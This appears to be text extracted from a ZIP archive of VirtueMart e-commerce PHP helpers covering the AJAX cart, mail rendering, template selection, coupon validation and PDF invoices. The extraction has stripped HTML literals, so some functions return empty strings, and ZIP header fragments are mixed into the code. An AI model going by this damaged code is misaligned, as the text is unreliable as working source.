      '; } if(!empty($addressList[0]->virtuemart_userinfo_id)){ $_selectedAddress = ( empty($this->_cart->selected_shipto) ? $addressList[0]->virtuemart_userinfo_id // Defaults to 1st BillTo : $this->_cart->selected_shipto ); $this->lists['shipTo'] = JHTML::_('select.radiolist', $addressList, 'shipto', null, 'virtuemart_userinfo_id', 'address_type_name', $_selectedAddress); }else{ $_selectedAddress = 0; $this->lists['shipTo'] = ''; } } else { $_selectedAddress = 0; $this->lists['shipTo'] = ''; } $this->lists['billTo'] = empty($addressList[0]->virtuemart_userinfo_id)? 0 : $addressList[0]->virtuemart_userinfo_id; } /** * moved to shopfunctionf * @deprecated */ function prepareMailData(){ if(empty($this->vendor)) $this->prepareVendor(); //TODO add orders, for the orderId //TODO add registering userdata // In general we need for every mail the shopperdata (with group), the vendor data, shopperemail, shopperusername, and so on } /** * moved to shopfunctionf * @deprecated */ // add vendor for cart function prepareVendor(){ $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(1); $vendorModel->addImages($this->vendor,1); return $this->vendor; } // Render the code for Ajax Cart function prepareAjaxData($checkAutomaticSelected=false){ // Added for the zone shipment module //$vars["zone_qty"] = 0; $this->prepareCartData($checkAutomaticSelected); $weight_total = 0; $weight_subtotal = 0; //of course, some may argue that the $this->data->products should be generated in the view.html.php, but // if(empty($this->data)){ $this->data = new stdClass(); } $this->data->products = array(); $this->data->totalProduct = 0; $i=0; //OSP when prices removed needed to format billTotal for AJAX if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); foreach ($this->products as $priceKey=>$product){ //$vars["zone_qty"] += $product["quantity"]; $category_id = $this->getCardCategoryId($product->virtuemart_product_id); //Create product URL $url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$category_id, FALSE); // @todo Add variants $this->data->products[$i]['product_name'] = JHTML::link($url, $product->product_name); // Add the variants if (!is_numeric($priceKey)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); // custom product fields display for cart $this->data->products[$i]['product_attributes'] = VirtueMartModelCustomfields::CustomsFieldCartModDisplay($priceKey,$product); } $this->data->products[$i]['product_sku'] = $product->product_sku; //** @todo WEIGHT CALCULATION //$weight_subtotal = vmShipmentMethod::get_weight($product["virtuemart_product_id"]) * $product->quantity']; //$weight_total += $weight_subtotal; // product Price total for ajax cart // $this->data->products[$i]['prices'] = $this->prices[$priceKey]['subtotal_with_tax']; $this->data->products[$i]['pricesUnformatted'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax']; $this->data->products[$i]['prices'] = $currency->priceDisplay( $this->pricesUnformatted[$priceKey]['subtotal_with_tax'] ); // other possible option to use for display $this->data->products[$i]['subtotal'] = $this->pricesUnformatted[$priceKey]['subtotal']; $this->data->products[$i]['subtotal_tax_amount'] = $this->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $this->data->products[$i]['subtotal_discount'] = $this->pricesUnformatted[$priceKey]['subtotal_discount']; $this->data->products[$i]['subtotal_with_tax'] = $this->pricesUnformatted[$priceKey]['subtotal_with_tax']; // UPDATE CART / DELETE FROM CART $this->data->products[$i]['quantity'] = $product->quantity; $this->data->totalProduct += $product->quantity ; $i++; } $this->data->billTotal = $currency->priceDisplay( $this->pricesUnformatted['billTotal'] ); $this->data->dataValidated = $this->_dataValidated ; return $this->data ; } } PKtl>\e߷Bcom_virtuemart_update/components/com_virtuemart/helpers/vmview.phpnuW+A'.$text.''; else return ''.$text.''; } public function escape($var) { if (in_array($this->_escape, array('htmlspecialchars', 'htmlentities'))) { $result = call_user_func($this->_escape, $var, ENT_COMPAT, $this->_charset); } else { $result = call_user_func($this->_escape, $var); } return $result; } }PKtl>\xaxaJcom_virtuemart_update/components/com_virtuemart/helpers/shopfunctionsf.phpnuW+AsetLayout( 'login' ); $body = ''; $show = TRUE; if($cart) { $show = VmConfig::get( 'oncheckout_show_register', 1 ); } if($show == 1) { $view->assignRef( 'show', $show ); $view->assignRef( 'order', $order ); $view->assignRef( 'from_cart', $cart ); $view->assignRef( 'url', $url ); ob_start(); $view->display(); $body = ob_get_contents(); ob_end_clean(); } return $body; } /** * @author Max Milbers */ static public function getLastVisitedCategoryId ($default = 0) { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedcategoryid', $default, 'vm' ); } /** * @author Max Milbers */ static public function setLastVisitedCategoryId ($categoryId) { $session = JFactory::getSession(); return $session->set( 'vmlastvisitedcategoryid', (int)$categoryId, 'vm' ); } /** * @author Max Milbers */ static public function getLastVisitedManuId () { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedmanuid', 0, 'vm' ); } /** * @author Max Milbers */ static public function setLastVisitedManuId ($manuId) { $session = JFactory::getSession(); return $session->set( 'vmlastvisitedmanuid', (int)$manuId, 'vm' ); } static public function getAddToCartButton ($orderable) { if($orderable) { $html = ''; } else { $html = ''; } return $html; } /** * * @author Max Milbers */ static public function addProductToRecent ($productId) { $session = JFactory::getSession(); $products_ids = $session->get( 'vmlastvisitedproductids', array(), 'vm' ); $key = array_search( $productId, $products_ids ); if($key !== FALSE) { unset($products_ids[$key]); } array_unshift( $products_ids, $productId ); $products_ids = array_unique( $products_ids ); $recent_products_rows = VmConfig::get('recent_products_rows', 1); $products_per_row = VmConfig::get('homepage_products_per_row',3); $maxSize = $products_per_row * $recent_products_rows; if(count( $products_ids )>$maxSize) { array_splice( $products_ids, $maxSize ); } return $session->set( 'vmlastvisitedproductids', $products_ids, 'vm' ); } /** * Gives ids the recently by the shopper visited products * * @author Max Milbers */ public function getRecentProductIds () { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedproductids', array(), 'vm' ); } /** * function to create a hyperlink * * @author RolandD * @param string $link * @param string $text * @param string $target * @param string $title * @param array $attributes * @return string */ public function hyperLink ($link, $text, $target = '', $title = '', $attributes = '') { $options = array(); if($target) { $options['target'] = $target; } if($title) { $options['title'] = $title; } if($attributes) { $options = array_merge( $options, $attributes ); } return JHTML::_( 'link', $link, $text, $options ); } /** * A function to create a XHTML compliant and JS-disabled-safe pop-up link * * @author RolandD * @param string $link The HREF attribute * @param string $text The link text * @param int $popupWidth * @param int $popupHeight * @param string $target The value of the target attribute * @param string $title * @param string $windowAttributes * @return string */ public function vmPopupLink ($link, $text, $popupWidth = 640, $popupHeight = 480, $target = '_blank', $title = '', $windowAttributes = '') { if($windowAttributes) { $windowAttributes = ','.$windowAttributes; } return self::hyperLink( $link, $text, '', $title, array("onclick" => "void window.open('$link', '$target', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=$popupWidth,height=$popupHeight,directories=no,location=no".$windowAttributes."');return false;") ); } /** * Prepares a view for rendering email, then renders and sends * * @param object $controller * @param string $viewName View which will render the email * @param string $recipient shopper@whatever.com * @param array $vars variables to assign to the view */ //TODO this is quirk, why it is using here $noVendorMail, but everywhere else it is using $doVendor => this make logic trouble static public function renderMail ($viewName, $recipient, $vars = array(), $controllerName = NULL, $noVendorMail = FALSE,$useDefault=true) { if(!class_exists( 'VirtueMartControllerVirtuemart' )) require(JPATH_VM_SITE.DS.'controllers'.DS.'virtuemart.php'); // $format = (VmConfig::get('order_html_email',1)) ? 'html' : 'raw'; $controller = new VirtueMartControllerVirtuemart(); //Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277 $controller->addViewPath( JPATH_VM_SITE.DS.'views' ); $view = $controller->getView( $viewName, 'html' ); if(!$controllerName) $controllerName = $viewName; $controllerClassName = 'VirtueMartController'.ucfirst( $controllerName ); if(!class_exists( $controllerClassName )) require(JPATH_VM_SITE.DS.'controllers'.DS.$controllerName.'.php'); //Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277 $view->addTemplatePath( JPATH_VM_SITE.'/views/'.$viewName.'/tmpl' ); $template = self::loadVmTemplateStyle(); if($template) { $view->addTemplatePath( JPATH_ROOT.DS.'templates'.DS.$template.DS.'html'.DS.'com_virtuemart'.DS.$viewName ); } foreach( $vars as $key => $val ) { $view->$key = $val; } $user = FALSE; if(isset($vars['orderDetails'])){ //If the JRequest is there, the update is done by the order list view BE and so the checkbox does override the defaults. //$name = 'orders['.$order['details']['BT']->virtuemart_order_id.'][customer_notified]'; //$customer_notified = JRequest::getVar($name,-1); if(!$useDefault and isset($vars['newOrderData']['customer_notified']) and $vars['newOrderData']['customer_notified']==1 ){ $user = self::sendVmMail( $view, $recipient, $noVendorMail ); vmdebug('renderMail by overwrite'); } else { $orderstatusForShopperEmail = VmConfig::get('email_os_s',array('U','C','S','R','X')); if(!is_array($orderstatusForShopperEmail)) $orderstatusForShopperEmail = array($orderstatusForShopperEmail); if ( in_array((string) $vars['orderDetails']['details']['BT']->order_status,$orderstatusForShopperEmail) ){ $user = self::sendVmMail( $view, $recipient, $noVendorMail ); vmdebug('renderMail by default'); } else{ $user = -1; } } } else { $user = self::sendVmMail( $view, $recipient, $noVendorMail ); } if(isset($view->doVendor) && !$noVendorMail) { if(isset($vars['orderDetails'])){ $order = $vars['orderDetails']; $orderstatusForVendorEmail = VmConfig::get('email_os_v',array('U','C','R','X')); if(!is_array($orderstatusForVendorEmail)) $orderstatusForVendorEmail = array($orderstatusForVendorEmail); if ( in_array((string)$order['details']['BT']->order_status,$orderstatusForVendorEmail)){ self::sendVmMail( $view, $view->vendorEmail, TRUE ); }else{ $user = -1; } } else { self::sendVmMail( $view, $view->vendorEmail, TRUE ); } } return $user; } public static function loadVmTemplateStyle(){ $vmtemplate = VmConfig::get( 'vmtemplate', 0 ); if(!empty($vmtemplate) and is_numeric($vmtemplate)) { $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$vmtemplate.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $template = $res['template']; } else { $err = 'The selected vmtemplate is not existing'; vmError( 'renderMail get Template failed: '.$err ); } } else { if(JVM_VERSION == 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id`="0" AND `home`="1"'; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id`="0" AND `menuid`="0"'; } $db = JFactory::getDbo(); $db->setQuery( $q ); $template = $db->loadResult(); if(!$template){ $err = 'Could not load default template style'; vmError( 'renderMail get Template failed: '.$err ); } } return $template; } /** * With this function you can use a view to sent it by email. * Just use a task in a controller * * @param string $view for example user, cart * @param string $recipient shopper@whatever.com * @param bool $vendor true for notifying vendor of user action (e.g. registration) */ private static function sendVmMail (&$view, $recipient, $noVendorMail = FALSE) { VmConfig::ensureMemoryLimit(96); VmConfig::loadJLang('com_virtuemart',true); if(!empty($view->orderDetails['details']['BT']->order_language)) { //$jlang->load( 'com_virtuemart', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); //$jlang->load( 'com_virtuemart_shoppers', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); //$jlang->load( 'com_virtuemart_orders', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); VmConfig::loadJLang('com_virtuemart',true,$view->orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE,$view->orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_orders',TRUE,$view->orderDetails['details']['BT']->order_language); } else { VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders',TRUE); } ob_start(); $view->renderMailLayout( $noVendorMail, $recipient ); $body = ob_get_contents(); ob_end_clean(); $subject = (isset($view->subject)) ? $view->subject : JText::_( 'COM_VIRTUEMART_DEFAULT_MESSAGE_SUBJECT' ); $mailer = JFactory::getMailer(); $mailer->addRecipient( $recipient ); $mailer->setSubject( html_entity_decode( $subject) ); $mailer->isHTML( VmConfig::get( 'order_mail_html', TRUE ) ); $mailer->setBody( $body ); if(!$noVendorMail) { $replyTo[0] = $view->vendorEmail; $replyTo[1] = $view->vendor->vendor_name; $mailer->addReplyTo( $replyTo ); } else { $replyTo[0] = $view->orderDetails['details']['BT']->email; $replyTo[1] = $view->orderDetails['details']['BT']->first_name.' '.$view->orderDetails['details']['BT']->last_name; $mailer->addReplyTo( $replyTo ); } /* if (isset($view->replyTo)) { $mailer->addReplyTo($view->replyTo); }*/ if(isset($view->mediaToSend)) { foreach( (array)$view->mediaToSend as $media ) { $mailer->addAttachment( $media ); } } // set proper sender $sender = array(); if(!empty($view->vendorEmail) and VmConfig::get( 'useVendorEmail', 0 )) { $sender[0] = $view->vendorEmail; $sender[1] = $view->vendor->vendor_name; } else { // use default joomla's mail sender $app = JFactory::getApplication(); $sender[0] = $app->getCfg( 'mailfrom' ); $sender[1] = $app->getCfg( 'fromname' ); if(empty($sender[0])){ $config = JFactory::getConfig(); $sender = array( $config->getValue( 'config.mailfrom' ), $config->getValue( 'config.fromname' ) ); } } $mailer->setSender( $sender ); return $mailer->Send(); } /** * This function sets the right template on the view * @author Max Milbers */ static function setVmTemplate ($view, $catTpl = 0, $prodTpl = 0, $catLayout = 0, $prodLayout = 0) { //Lets get here the template set in the shopconfig, if there is nothing set, get the joomla standard $template = VmConfig::get( 'vmtemplate', 0 ); $db = JFactory::getDBO(); //Set specific category template if(!empty($catTpl) && empty($prodTpl)) { if(is_Int( $catTpl )) { $q = 'SELECT `category_template` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catTpl.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $template = $temp; } else { $template = $catTpl; } } //Set specific product template if(!empty($prodTpl)) { if(is_Int( $prodTpl )) { $q = 'SELECT `product_template` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodTpl.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $template = $temp; } else { $template = $prodTpl; } } shopFunctionsF::setTemplate( $template ); //Lets get here the layout set in the shopconfig, if there is nothing set, get the joomla standard if(JRequest::getWord( 'view' ) == 'virtuemart') { $layout = VmConfig::get( 'vmlayout', 'default' ); $view->setLayout( strtolower( $layout ) ); } else { if(empty($catLayout) and empty($prodLayout)) { $catLayout = VmConfig::get( 'productlayout', 'default' ); } //Set specific category layout if(!empty($catLayout) && empty($prodLayout)) { if(is_Int( $catLayout )) { $q = 'SELECT `layout` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catLayout.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $layout = $temp; } else { $layout = $catLayout; } } //Set specific product layout if(!empty($prodLayout)) { if(is_Int( $prodLayout )) { $q = 'SELECT `layout` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodLayout.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); if(!empty($temp)) $layout = $temp; } else { $layout = $prodLayout; } } } if(!empty($layout)) { $view->setLayout( strtolower( $layout ) ); } } function sendRatingEmailToVendor ($data) { if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $vars = array(); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($data['virtuemart_product_id']); $vars['subject'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_SUBJECT', $product->product_name); $vars['mailbody'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_BODY', $product->product_name); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); //$orderModel = VmModel::getModel ('orders'); shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE); } /** * Final setting of template * * @author Max Milbers */ static function setTemplate ($template) { if(!empty($template) && $template != 'default') { $app = JFactory::getApplication( 'site' ); if(JVM_VERSION === 1){ if(is_dir( JPATH_THEMES.DS.$template )) { $app->set( 'setTemplate', $template ); } else { JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template ); } } else { $registry = null; if(is_numeric($template)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$template.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $template = $res['template']; } } else { vmAdminInfo('Your template settings are old, please check your template settings in the vm config and in your categories'); vmdebug('Your template settings are old, please check your template settings in the vm config and in your categories'); } if(is_dir( JPATH_THEMES.DS.$template )) { $app->setTemplate($template,$registry); } else { JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template ); } } } return $template; } /** * * Enter description here ... * @author Max Milbers * @author Iysov * @param string $string * @param int $maxlength * @param string $suffix */ static public function limitStringByWord ($string, $maxlength, $suffix = '') { if(function_exists( 'mb_strlen' )) { // use multibyte functions by Iysov if(mb_strlen( $string )<=$maxlength) return $string; $string = mb_substr( $string, 0, $maxlength ); $index = mb_strrpos( $string, ' ' ); if($index === FALSE) { return $string; } else { return mb_substr( $string, 0, $index ).$suffix; } } else { // original code here if(strlen( $string )<=$maxlength) return $string; $string = substr( $string, 0, $maxlength ); $index = strrpos( $string, ' ' ); if($index === FALSE) { return $string; } else { return substr( $string, 0, $index ).$suffix; } } } /** * Admin UI Tabs * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $load_template = a key => value array. key = template name, value = Language File contraction * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static function buildTabs ($view, $load_template = array()) { vmJsApi::js( 'vmtabs' ); $html = '
      '; $i = 1; foreach( $load_template as $tab_content => $tab_title ) { $html .= '
      '; $html .= $view->loadTemplate( $tab_content ); $html .= '
      '; $i++; } $html .= '
      '; echo $html; } static function getComUserOption () { if(JVM_VERSION === 1) { return 'com_user'; } else { return 'com_users'; } } /** * Checks if Joomla language keys exist and combines it according to existing keys. * @string $pkey : primary string to search for Language key (must have %s in the string to work) * @string $skey : secondary string to search for Language key * @return string * @author Max Milbers * @author Patrick Kohl */ static function translateTwoLangKeys ($pkey, $skey) { $upper = strtoupper( $pkey ).'_2STRINGS'; if(JText::_( $upper ) !== $upper) { return JText::sprintf( $upper, JText::_( $skey ) ); } else { return JText::_( $pkey ).' '.JText::_( $skey ); } } /** * Writes a PDF icon * @author Patrick Kohl * @param string $link * @param boolean $use_icon * @deprecated */ function PdfIcon ($link, $use_icon = TRUE, $modal = TRUE) { return VmView::linkIcon( $link, 'COM_VIRTUEMART_PDF', 'pdf_button', 'pdf_button_enable', $modal, $use_icon ); } /** * Writes an Email icon * @author Patrick Kohl * @param string $link * @param boolean $use_icon * @deprecated */ function EmailIcon ($virtuemart_product_id, $use_icon, $modal) { if($virtuemart_product_id>0) { $link = 'index.php?option=com_virtuemart&view=productdetails&task=recommend&virtuemart_product_id='.$virtuemart_product_id.'&tmpl=component'; return VmView::linkIcon( $link, 'COM_VIRTUEMART_EMAIL', 'emailButton', 'show_emailfriend', $modal, $use_icon ); } } /** * @author RolandD, Christopher Roussel * * @deprecated */ function PrintIcon ($link = '', $use_icon = TRUE, $add_text = '') { if(VmConfig::get( 'show_printicon', 1 ) == '1') { $folder = (JVM_VERSION === 1) ? '/images/M_images/' : '/media/system/images/'; // checks template image directory for image, if non found default are loaded if($use_icon) { $filter = JFilterInput::getInstance(); $text = JHtml::_( 'image.site', 'printButton.png', $folder, NULL, NULL, JText::_( 'COM_VIRTUEMART_PRINT' ) ); $text .= $filter->clean( $add_text ); } else { $text = '| '.JText::_( 'COM_VIRTUEMART_PRINT' ).' |'; } $isPopup = JRequest::getVar( 'pop' ); if($isPopup) { // Print Preview button - used when viewing page $html = ' '.$text.' '; return $html; } else { // Print Button - used in pop-up window return self::vmPopupLink( $link, $text, 640, 480, '_blank', JText::_( 'COM_VIRTUEMART_PRINT' ) ); } } } /** * Get Virtuemart itemID from joomla menu * @author Maik K�nnemann */ static function getMenuItemId( $lang = '*' ) { $itemID = ''; if(empty($lang)) $lang = '*'; $component = JComponentHelper::getComponent('com_virtuemart'); $db = JFactory::getDbo(); $q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "'. $lang .'"'; $db->setQuery( $q ); $items = $db->loadObjectList(); if(empty($items)) { $q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "*"'; $db->setQuery( $q ); $items = $db->loadObjectList(); } foreach ($items as $item) { if(strstr($item->link, 'view=virtuemart')) { $itemID = $item->id; break; } } if(empty($itemID) && !empty($items[0]->id)) { $itemID = $items[0]->id; } return $itemID; } static function triggerContentPlugin( &$article, $context, $field) { // add content plugin // $dispatcher = JDispatcher::getInstance (); JPluginHelper::importPlugin ('content'); $article->text = $article->$field; jimport ('joomla.html.parameter'); $params = new JParameter(''); if (JVM_VERSION === 2) { if (!isset($article->event)) { $article->event = new stdClass(); } $results = $dispatcher->trigger ('onContentPrepare', array('com_virtuemart.'.$context, &$article, &$params, 0)); // More events for 3rd party content plugins // This do not disturb actual plugins, because we don't modify $vendor->text $res = $dispatcher->trigger ('onContentAfterTitle', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->afterDisplayTitle = trim (implode ("\n", $res)); $res = $dispatcher->trigger ('onContentBeforeDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->beforeDisplayContent = trim (implode ("\n", $res)); $res = $dispatcher->trigger ('onContentAfterDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0)); $article->event->afterDisplayContent = trim (implode ("\n", $res)); } else { $results = $dispatcher->trigger ('onPrepareContent', array(& $article, & $params, 0)); } $article->$field = $article->text; } static public function mask_string($cc, $mask_char='X') { return str_pad(substr($cc, -4), strlen($cc), $mask_char, STR_PAD_LEFT); } }PKtl>\ElBcom_virtuemart_update/components/com_virtuemart/helpers/index.htmlnuW+A PKtl>\Bcom_virtuemart_update/components/com_virtuemart/helpers/coupon.phpnuW+Atrigger('plgVmValidateCouponCode', array($_code, $_billTotal)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { //Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max return $returnValue; } } } if(empty($couponData)){ $_db = JFactory::getDBO(); $_q = 'SELECT IF( NOW() >= `coupon_start_date` , 1, 0 ) AS started ' . ', `coupon_start_date` ' . ', IFNULL(0, IF( NOW() > `coupon_expiry_date`, 1, 0 ) ) AS ended' . ', `coupon_value_valid` ' . ', `coupon_used` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); $couponData = $_db->loadObject(); } if (!$couponData) { return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID'); } if ($couponData->coupon_used) { $session = JFactory::getSession(); $session_id = $session->getId(); if ($couponData->coupon_used != $session_id) { return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID'); } } if (!$couponData->started) { return JText::_('COM_VIRTUEMART_COUPON_CODE_NOTYET') . $couponData->coupon_start_date; } if ($couponData->ended) { self::RemoveCoupon($_code, true); return JText::_('COM_VIRTUEMART_COUPON_CODE_EXPIRED'); } if ($_billTotal < $couponData->coupon_value_valid) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $coupon_value_valid = $currency->priceDisplay($couponData->coupon_value_valid); return JText::_('COM_VIRTUEMART_COUPON_CODE_TOOLOW') . " ".$coupon_value_valid; } return ''; } /** * Get the details for a given coupon * @param string $_code Coupon code * @author Oscar van Eijk * @return object Coupon details */ static public function getCouponDetails($_code) { $_db = JFactory::getDBO(); $_q = 'SELECT `percent_or_total` ' . ', `coupon_type` ' . ', `coupon_value` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); return $_db->loadObject(); } /** * Remove a coupon from the database * @param $_code Coupon code * @param $_force True if the remove is forced. By default, only gift coupons are removed * @author Oscar van Eijk * @return boolean True on success */ static public function RemoveCoupon($_code, $_force = false) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmRemoveCoupon', array($_code, $_force)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { //Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max //$couponData = $returnValue; return $returnValue; } } } if ($_force !== true) { $_data = self::getCouponDetails($_code); if ($_data->coupon_type != 'gift') { return true; } } $_db = JFactory::getDBO(); $_q = 'DELETE FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); return ($_db->query() !== false); } /** * Remove a coupon from the database * @param $_code Coupon code * @param $_force True if the remove is forced. By default, only gift coupons are removed * @author Valérie Isaksen * @return boolean True on success */ static public function setInUseCoupon($code, $in_use=true){ JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponInUse', array($code)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } $session = JFactory::getSession(); $coupon_used = $session->getId(); $db = JFactory::getDBO(); if (!$in_use) { $db = JFactory::getDBO(); $q = 'SELECT `coupon_used` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $db->getEscaped($code) . '"'; $db->setQuery($q); $coupon_session_id=$db->loadResult(); if ($coupon_used !=$coupon_session_id) { return; } $coupon_used=0; } $q = 'UPDATE `#__virtuemart_coupons` SET `coupon_used` = "' . $coupon_used . '" WHERE `coupon_type`= \'gift\' AND `coupon_code` = "' . $db->getEscaped($code) . '"'; $db->setQuery($q); return ($db->query() !== false); } } PKtl>\[77Acom_virtuemart_update/components/com_virtuemart/helpers/vmpdf.phpnuW+ASetTitle($meta['title']); if (isset($meta['subject'])) $pdf->SetSubject($meta['subject']); if (isset($meta['keywords'])) $pdf->SetKeywords($meta['keywords']); // Make the formatter available, just in case some specialized view wants/needs it $view->pdf_formatter = $pdf; ob_start(); $view->display(); $html = ob_get_contents(); ob_end_clean(); $pdf->AddPage(); $pdf->PrintContents($html); // Close and output PDF document // This method has several options, check the source code documentation for more information. $pdf->Output($path, $dest); return $path; } } if(!file_exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php')){ vmError('VmPDF helper: For the PDF invoice and other PDF business letters, you must install the tcpdf library at '.JPATH_VM_LIBRARIES.DS.'tcpdf'); } else { if(!class_exists('TCPDF'))require(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php'); // Extend the TCPDF class to create custom Header and Footer as configured in the Backend class VmVendorPDF extends TCPDF { var $vendor = 0; var $vendorImage = ''; var $vendorAddress = ''; var $css = ''; var $virtuemart_vendor_id = 1; public function __construct() { // Load the vendor, so we have the data for the header/footer... // The images are NOT loaded by default, so do it manually, just in case $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor($this->virtuemart_vendor_id); $vendorModel->addImages($this->vendor,1); $this->vendor->vendorFields = $vendorModel->getVendorAddressFields(); parent::__construct($this->vendor->vendor_letter_orientation, 'mm', $this->vendor->vendor_letter_format); $this->css = $this->vendor->vendor_letter_css; // set document information $this->SetCreator(JText::_('COM_VIRTUEMART_PDF_CREATOR')); if(empty($this->vendor->images[0])){ vmError('Vendor image given path empty '); } else if(empty($this->vendor->images[0]->file_url_folder) or empty($this->vendor->images[0]->file_name) or empty($this->vendor->images[0]->file_extension) ){ vmError('Vendor image given image is not complete '.$this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension); vmdebug('Vendor image given image is not complete, the given media',$this->vendor->images[0]); } else if(!empty($this->vendor->images[0]->file_extension) and strtolower($this->vendor->images[0]->file_extension)=='png'){ vmError('Warning extension of the image is a png, tpcdf has problems with that in the header, choose a jpg or gif'); } else { $imagePath = str_replace('/',DS, $this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension); if(!file_exists(JPATH_ROOT . DS . $imagePath)){ vmError('Vendor image missing '.$imagePath); } else { $this->vendorImage=$imagePath; } } if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } $tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php'); if($tcpdf6){ $getAllSpotColors = TCPDF::getAllSpotColors(); $vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors); } else { $vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color); } $this->setHeaderData(($this->vendor->vendor_letter_header_image?$this->vendorImage:''), ($this->vendor->vendor_letter_header_image?$this->vendor->vendor_letter_header_imagesize:0), '', $this->vendor->vendor_letter_header_html, array(0,0,0),$vlfooterlcolor ); $this->vendorAddress = shopFunctions::renderVendorAddress($this->vendor->virtuemart_vendor_id, "
      "); // Trim the final
